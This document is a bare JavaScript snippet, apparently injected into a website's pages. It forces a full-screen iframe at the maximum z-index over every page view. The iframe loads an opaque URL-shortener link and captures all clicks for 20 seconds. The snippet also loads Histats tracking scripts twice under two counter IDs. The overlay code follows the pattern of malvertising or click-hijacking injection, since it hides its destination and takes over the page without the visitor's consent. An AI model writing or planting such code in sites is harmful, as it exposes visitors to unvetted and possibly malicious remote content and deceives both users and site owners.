function getSessionStorage(key) { return sessionStorage.getItem(key); } function setSessionStorage(key, value) { sessionStorage.setItem(key, value); } function moveAdToPosition() { var adDiv = document.getElementById("AD_FLOAT"); if (adDiv) { adDiv.style.top = "0px"; adDiv.style.left = "0px"; } } var loadImmediately = true; var forceDisplay = true; var referrer = document.referrer; if (referrer && !referrer.includes(window.location.hostname) && !getSessionStorage('refx')) { setSessionStorage('refx', 'true'); } //if (forceDisplay || (referrer) || getSessionStorage('refx')) { if (forceDisplay || (referrer && !referrer.includes(window.location.hostname)) || getSessionStorage('refx')) { focus(); var adDiv = document.createElement('div'); adDiv.id = "AD_FLOAT"; adDiv.style.position = "fixed"; adDiv.style.top = "0"; adDiv.style.left = "0"; adDiv.style.width = "100vw"; adDiv.style.height = "100vh"; adDiv.style.zIndex = "2147483647"; adDiv.style.pointerEvents = "none"; var iframe = document.createElement('iframe'); iframe.src = "https://shorturl.at/h1lhz"; iframe.scrolling = "no"; iframe.frameBorder = "0"; iframe.marginHeight = "0"; iframe.marginWidth = "0"; iframe.id = "iAD_FLOAT"; iframe.style.height = "100%"; iframe.style.width = "100%"; iframe.style.pointerEvents = "auto"; adDiv.appendChild(iframe); document.body.appendChild(adDiv); if (loadImmediately) { moveAdToPosition(); } else { document.addEventListener('DOMContentLoaded', function() { iframe.onload = function() { moveAdToPosition(); }; }); } setTimeout(function() { var adDiv = document.getElementById('AD_FLOAT'); if (adDiv) { adDiv.remove(); } }, 20000); } if(!Histats_variables){var Histats_variables=[];} Histats_variables.push("tags","d2yZ03x0"); Histats_variables.push("d2yZ03x0","contador.s12.com.br"); var _Hasync= _Hasync|| []; _Hasync.push(['Histats.start', '1,3908301,4,0,0,0,00010000']); _Hasync.push(['Histats.fasi', '1']); _Hasync.push(['Histats.track_hits', '']); (function() { var hs = document.createElement('script'); hs.type = 'text/javascript'; hs.async = true; hs.src = ('//s10.histats.com/js15_as.js'); (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(hs); })(); if(!Histats_variables){var Histats_variables=[];} Histats_variables.push("tags","d2yZ03x0"); Histats_variables.push("d2yZ03x0","contador.s12.com.br"); var _Hasync= _Hasync|| []; _Hasync.push(['Histats.start', '1,2998001,4,0,0,0,00010000']); _Hasync.push(['Histats.fasi', '1']); _Hasync.push(['Histats.track_hits', '']); (function() { var hs = document.createElement('script'); hs.type = 'text/javascript'; hs.async = true; hs.src = ('//s10.histats.com/js15_as.js'); (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(hs); })();